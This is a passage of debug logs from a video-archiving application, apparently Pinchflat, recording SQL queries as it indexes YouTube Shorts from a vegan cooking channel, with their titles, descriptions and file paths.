s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:37.820 [debug] QUERY OK source="sources" db=0.5ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:37.823 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 16:25:01Z], 1] 20:28:37.824 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Rick Sanchez from Rick and Morty is officially the first person to ever become a pickle. Well today on our channel our first of 3 pickling videos goes live where we talk all about how to quick-pickle anything... maybe, even yourself!\n\nSubscribe so you don't miss a single quick-pickling video!", "The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts", "04ff139b-1eff-4625-a7f9-19ae9054119a", 1, [], 14, false, "EasOgCnB98Y", "https://www.youtube.com/shorts/EasOgCnB98Y", 331, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts/The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts [EasOgCnB98Y].NA", false, false, true, 4, ~U[2022-07-06 16:25:01Z], ~U[2026-03-22 03:28:37Z], ~U[2026-03-22 03:28:37Z], "Rick Sanchez from Rick and Morty is officially the first person to ever become a pickle. Well today on our channel our first of 3 pickling videos goes live where we talk all about how to quick-pickle anything... maybe, even yourself!\n\nSubscribe so you don't miss a single quick-pickling video!", "The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts", 1, 14, false, "EasOgCnB98Y", "https://www.youtube.com/shorts/EasOgCnB98Y", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts/The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts [EasOgCnB98Y].NA", true, ~U[2022-07-06 16:25:01Z]] 20:28:37.825 [debug] QUERY OK source="sources" db=0.6ms idle=473.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:37.825 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:37.826 [debug] QUERY OK source="media_items" db=0.5ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [720] 20:28:37.826 [debug] Current batch of media processed. Will check again in 1000ms 20:28:38.827 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Do you like to lick the brownie batter off the spatula? It's almost as good as the final product but trust me you'll want to see the recipe for these vegan, gluten free and nut free protein chocolate brownies. They're irresistable!\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe for more finger licking good vegan and gluten free weekly recipes!!! Thanks for your support! Janelle", "duration" => 19, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts/Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts [WiSFLeUJmfQ].NA", "id" => "WiSFLeUJmfQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/WiSFLeUJmfQ", "playlist_index" => 332, "timestamp" => 1657065301, "title" => "Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts", "upload_date" => "20220705"} 20:28:38.828 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:38.829 [debug] QUERY OK source="sources" db=0.7ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:38.832 [debug] QUERY OK source="media_items" db=2.5ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-05 23:55:01Z], 1] 20:28:38.834 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Do you like to lick the brownie batter off the spatula? It's almost as good as the final product but trust me you'll want to see the recipe for these vegan, gluten free and nut free protein chocolate brownies. They're irresistable!\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe for more finger licking good vegan and gluten free weekly recipes!!! Thanks for your support! Janelle", "Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts", "bf7063fc-574a-4e48-a728-bbb781b4a257", 1, [], 19, false, "WiSFLeUJmfQ", "https://www.youtube.com/shorts/WiSFLeUJmfQ", 332, "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts/Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts [WiSFLeUJmfQ].NA", false, false, true, 0, ~U[2022-07-05 23:55:01Z], ~U[2026-03-22 03:28:38Z], ~U[2026-03-22 03:28:38Z], "Do you like to lick the brownie batter off the spatula? It's almost as good as the final product but trust me you'll want to see the recipe for these vegan, gluten free and nut free protein chocolate brownies. They're irresistable!\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe for more finger licking good vegan and gluten free weekly recipes!!! Thanks for your support! Janelle", "Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts", 1, 19, false, "WiSFLeUJmfQ", "https://www.youtube.com/shorts/WiSFLeUJmfQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts/Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts [WiSFLeUJmfQ].NA", true, ~U[2022-07-05 23:55:01Z]] 20:28:38.835 [debug] QUERY OK source="sources" db=0.3ms idle=480.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:38.836 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:38.836 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [721] 20:28:38.837 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "LOVE of course is always the special ingredient of any brownies. I make my brownies with love for those who follow a vegan, gluten free, and nut free diet. \n\nAnd no, there isn't THAT special ingredient in my brownies but I do use a very different technique to make mine packed full of protein. \n\nFull recipe video here: https://youtu.be/CaX3rd60OUk", "duration" => 19, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-05 What special ingredient makes my brownies so special? #youtubeshorts #shorts/What special ingredient makes my brownies so special? #youtubeshorts #shorts [1Y9vJON2KyA].NA", "id" => "1Y9vJON2KyA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/1Y9vJON2KyA", "playlist_index" => 333, "timestamp" => 1657058400, "title" => "What special ingredient makes my brownies so special? #youtubeshorts #shorts", "upload_date" => "20220705"} 20:28:38.838 [debug] QUERY OK source="sources" db=0.9ms queue=0.5ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:38.839 [debug] QUERY OK source="sources" db=0.6ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:38.842 [debug] QUERY OK source="media_items" db=2.1ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-05 22:00:00Z], 1] 20:28:38.843 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["LOVE of course is always the special ingredient of any brownies. I make my brownies with love for those who follow a vegan, gluten free, and nut free diet. \n\nAnd no, there isn't THAT special ingredient in my brownies but I do use a very different technique to make mine packed full of protein. \n\nFull recipe video here: https://youtu.be/CaX3rd60OUk", "What special ingredient makes my brownies so special? #youtubeshorts #shorts", "6f7eb850-b2f8-4eb4-a58c-daea3c0b3f16", 1, [], 19, false, "1Y9vJON2KyA", "https://www.youtube.com/shorts/1Y9vJON2KyA", 333, "/downloads/downloads/alec/Steamy Vegan/2022-07-05 What special ingredient makes my brownies so special? #youtubeshorts #shorts/What special ingredient makes my brownies so special? #youtubeshorts #shorts [1Y9vJON2KyA].NA", false, false, true, 1, ~U[2022-07-05 22:00:00Z], ~U[2026-03-22 03:28:38Z], ~U[2026-03-22 03:28:38Z], "LOVE of course is always the special ingredient of any brownies. I make my brownies with love for those who follow a vegan, gluten free, and nut free diet. \n\nAnd no, there isn't THAT special ingredient in my brownies but I do use a very different technique to make mine packed full of protein. \n\nFull recipe video here: https://youtu.be/CaX3rd60OUk", "What special ingredient makes my brownies so special? #youtubeshorts #shorts", 1, 19, false, "1Y9vJON2KyA", "https://www.youtube.com/shorts/1Y9vJON2KyA", "/downloads/downloads/alec/Steamy Vegan/2022-07-05 What special ingredient makes my brownies so special? #youtubeshorts #shorts/What special ingredient makes my brownies so special? #youtubeshorts #shorts [1Y9vJON2KyA].NA", true, ~U[2022-07-05 22:00:00Z]] 20:28:38.843 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:38.844 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:38.845 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [722] 20:28:38.845 [debug] Current batch of media processed. Will check again in 1000ms 20:28:39.846 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This girl loves brownies so much that I've been recipe testing for weeks to come up with the perfect protein packed, vegan and gluten free brownies that everyone with two thumbs will love. You're gonna love these more than Ashton Kutcher loves the brownies in this 'That 70s Show' clip.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more vegan and gluten free weekly recipes! Thanks for your support! Janelle", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts/Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts [mwVndeA5hjA].NA", "id" => "mwVndeA5hjA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/mwVndeA5hjA", "playlist_index" => 334, "timestamp" => 1657042205, "title" => "Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts", "upload_date" => "20220705"} 20:28:39.847 [debug] QUERY OK source="sources" db=0.5ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:39.848 [debug] QUERY OK source="sources" db=0.6ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:39.850 [debug] QUERY OK source="media_items" db=2.2ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-05 17:30:05Z], 1] 20:28:39.852 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This girl loves brownies so much that I've been recipe testing for weeks to come up with the perfect protein packed, vegan and gluten free brownies that everyone with two thumbs will love. You're gonna love these more than Ashton Kutcher loves the brownies in this 'That 70s Show' clip.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more vegan and gluten free weekly recipes! Thanks for your support! Janelle", "Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts", "e3f354aa-e947-4cd2-82d9-d1e98088a499", 1, [], 11, false, "mwVndeA5hjA", "https://www.youtube.com/shorts/mwVndeA5hjA", 334, "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts/Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts [mwVndeA5hjA].NA", false, false, true, 2, ~U[2022-07-05 17:30:05Z], ~U[2026-03-22 03:28:39Z], ~U[2026-03-22 03:28:39Z], "This girl loves brownies so much that I've been recipe testing for weeks to come up with the perfect protein packed, vegan and gluten free brownies that everyone with two thumbs will love. You're gonna love these more than Ashton Kutcher loves the brownies in this 'That 70s Show' clip.\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nDon't forget to subscribe for more vegan and gluten free weekly recipes! Thanks for your support! Janelle", "Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts", 1, 11, false, "mwVndeA5hjA", "https://www.youtube.com/shorts/mwVndeA5hjA", "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts/Who’s got 2 thumbs and really likes brownies? #youtubeshorts #shorts [mwVndeA5hjA].NA", true, ~U[2022-07-05 17:30:05Z]] 20:28:39.852 [debug] QUERY OK source="sources" db=0.4ms idle=495.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:39.854 [debug] QUERY OK source="media_profiles" db=1.0ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:39.854 [debug] QUERY OK source="media_items" db=0.3ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [723] 20:28:39.854 [debug] Current batch of media processed. Will check again in 1000ms 20:28:40.856 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These brownies are protein packed and great for most people who have food allergies. My not that kinda special brownies are gluten free, nut free and vegan and are always a huge hit.\n\nFull recipe video here: https://youtu.be/CaX3rd60OUk\n\nSubscribe to catch a few other 'That 70s Show' brownie clips later today and for weekly videos about my vegan and gluten free diet. Thanks for all your support! Janelle", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-05 People love my (not that kinda) SPECIAL BROWNIES/People love my (not that kinda) SPECIAL BROWNIES [QRkS8Bi77FY].NA", "id" => "QRkS8Bi77FY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/QRkS8Bi77FY", "playlist_index" => 335, "timestamp" => 1657036826, "title" => "People love my (not that kinda) SPECIAL BROWNIES", "upload_date" => "20220705"} 20:28:40.857 [debug] QUERY OK source="sources" db=1.0ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", 